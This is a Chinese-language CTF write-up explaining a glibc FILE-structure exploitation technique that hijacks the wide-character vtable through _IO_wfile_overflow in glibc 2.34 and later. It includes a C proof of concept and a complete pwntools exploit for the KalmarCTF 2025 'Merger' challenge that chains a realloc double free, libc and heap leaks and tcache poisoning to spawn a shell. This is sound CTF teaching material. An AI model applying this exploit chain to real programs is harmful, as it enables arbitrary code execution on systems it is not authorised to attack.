在glibc2.34以后取消了__free_hook以及__malloc_hook,因此需要找到一个可以控制程序执行流程的函数指针代替__free_hook以及__malloc_hook。
ini
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
在结构体_IO_FILE_plus中存在着类似于虚表的变量vtable,其中存储着许多函数指针。

若能修改vtable指针并指向我们伪造的vtable,即可达成劫持程序执行流程的目的。
但是在glibc2.24之后加入了vtable指针的校验,简单来说就是会检测vtable指针是否在范围之内。因此在glibc2.24之后,需要找在范围内的vtable指针加以利用。
c
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//计算在glibc中vtable指针的范围
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判断当前vtable指针与起始位置的偏移
if (__glibc_unlikely (offset >= section_length)) //若偏移大于最大距离则校验失败
_IO_vtable_check ();
return vtable;
}
在glibc范围内存在着名为_IO_wfile_jumps的vtable指针。该跳转表中存在着一个特殊的函数_IO_wfile_overflow

调用流程如下所示,简单来讲_IO_wfile_overflow最终调用的是_IO_wdoallocbuf将宏拆解,实际最终调用的是fp->_wide_data->_wide_vtable,而在调用fp->_wide_data->_wide_vtable的时候并没有检测vtable的合法性,因此倘若我们能够伪造__wide_data就能够控制_wide_vtable变量,最后将该跳转表内容修改为system,即可完成程序流程的劫持。
scss
/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
//#define _IO_NO_WRITES 0x0008
//f->_flags & _IO_NO_WRITES == 0
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
//#define _IO_CURRENTLY_PUTTING 0x0800
//f->_flags & _IO_CURRENTLY_PUTTING == 0
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
//f->_wide_data->_IO_write_base == 0
if (f->_wide_data->_IO_write_base == 0)
{
//满足上述条件执行fp->_wide_data->_wide_vtable
_IO_wdoallocbuf (f);
...
void
_IO_wdoallocbuf (FILE *fp)
{
//fp->_wide_data->_IO_buf_base == 0
if (fp->_wide_data->_IO_buf_base)
return;
//#define _IO_UNBUFFERED 0x0002
//fp->_flags & _IO_UNBUFFERED == 0
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
...
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
根据上述源码我们可以知道,想要执行_IO_wdoallocbuf需要满足以下几个条件
-
f->_flags & _IO_NO_WRITES == 0 -
f->_flags & _IO_CURRENTLY_PUTTING == 0 -
f->_wide_data->_IO_write_base == 0 -
fp->_wide_data->_IO_buf_base == 0 -
fp->_flags & _IO_UNBUFFERED == 0
想要让程序执行_IO_wfile_overflow函数需要触发以下调用链

_IO_cleanup函数的作用是清理所有打开的标准I/O流,因此在程序退出时就会调用。

_IO_cleanup函数调用如下所示,实际内部执行的函数为_IO_flush_all
rust
int
_IO_cleanup (void)
{
...
int result = _IO_flush_all ();
...
}
int
_IO_flush_all (void)
{
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}
_IO_list_all执行的列表顺序为stderr->stdout->stdin,因此我们可以通过修改stderr->_wide_data与stderr->vtable就可以优先触发利用链,但是依旧需要满足以下限制条件:
-
fp->_mode == 0 -
fp->_IO_write_ptr > fp->_IO_write_base
POC
根据上述条件,总结POC如下
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
void *funcs[27]; // 伪占位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
//_IO_wide_data结构大小为0xe8
fake_IO_wide_data = (long *)malloc(0xe8);
//跳转表结构大小为0xe8
fake_wide_vtable = (long *)malloc(0xa8);
//glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
_IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
stderr->_wide_data = fake_IO_wide_data;
stderr->_IO_write_ptr = 1;
stderr->_IO_write_base = 0;
*(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
*(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
//0xfbad为魔数,0x0101是为了拼接后续的sh字符串
memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
return 0;
}
python脚本
ini
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
例题
KalmarCTF 2025-Merger

在merge功能中堆块是通过realloc函数对src与dst堆块进行合并,合并完成之后,使用free函数对src堆块进行释放。但是这里存在一个漏洞点,没有限制src与dst堆块的下标,使得src与dst堆块的下标可以设置为同一个值。
realloc函数在重新分配堆块时会出现以下情况:
-
当重新申请的堆块的
size小于当前堆块的size,则realloc会分割当前堆块 -
当重新申请的堆块的
size大于当前堆块的size,则realloc会先free当前堆块,再malloc申请的size
结合merage功能,当以条件二执行realloc函数时会执行free(s)并紧接着执行free(src),因此当s=src时,就会导致double free漏洞。
想要利用上述double free漏洞,则需要满足以下条件:
-
realloc申请的堆块要比合并的堆块大(以条件二方式执行realloc函数) -
double free的堆块size需要小于0x100,否则申请不到(add功能最大只能申请0xff堆块)
漏洞利用流程
-
设置
src与dst的下标为相同值 -
将
malloc(0xf7)的堆块放置在unsortbin中,紧接着src堆块从unsortbin中申请,这样就能够满足double free的堆块size小于0x100 -
若
src堆块从unsortbin中申请,当以条件二方式执行realloc函数时则执行:-
free(src) -
触发
unlink,src堆块合并回unsortbin
-
-
紧接着执行
merge函数的free(src),则src会放在tcachebin中,则构造出uaf漏洞,泄露libc地址 -
后续将
src堆块放进fastbin中,构造double free漏洞,当相应大小的tcachebin被申请完毕后,fastbin中的堆块会被放置在tcachebin中,从而变相构造出Tcache Poisoning -
利用
Tcache Poisoning指向堆块(size大于0xe0,由于io_file结构体需要0xe0大小的空间) -
利用
io_file获得shell
EXP
scss
from pwn import *
sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64)
def add(index,size,data):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil("dex: ")
sh.sendline(str(index))
sh.recvuntil("ize: ")
sh.sendline(str(size))
sh.recvuntil("ta: ")
sh.send(data)
def delete(index):
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("> ")
sh.sendline("3")
sh.recvuntil("dex: ")
sh.sendline(str(index))
def merge(dst,src):
sh.recvuntil("> ")
sh.sendline("4")
sh.recvuntil("st: ")
sh.sendline(str(dst))
sh.recvuntil("src: ")
sh.sendline(str(src))
for i in range(7):
add(i,0x87,0x87*'a')
for i in range(7):
add(i+7,0xf7,0xf7*'a')
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')
for i in range(7):
delete(i+7)
delete(15)
add(14,0x87,0x87*'a')
for i in range(7):
delete(i)
for i in range(7):
add(i,0xf0,0xf0*'a')
#堆块同时释放在unsortbin与tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修复unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆块20与堆块21指向同一个堆块,一个从tcachebin中申请,一个从unsortbin中申请
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(7):
delete(i)
delete(21)
show(20) #uaf泄露数据
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)
for i in range(7):
add(i,0x77,0x77*'a')
for i in range(3):
add(i+7,0xf7,0xf7*'a')
for i in range(3):
delete(i+7)
#0x77的堆块大小不足以存储IO_File结构体,因此需要利用Tcache Poisoning指向0x100的堆块
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)
#fake_wide_vtable(0xa8)
payload = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770
#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data = heapbase + 0x1670
#fake stderr(0xe0)
fake_stderr = FileStructure(0)
fake_stderr.flags = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data = fake_IO_wide_data
fake_stderr.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()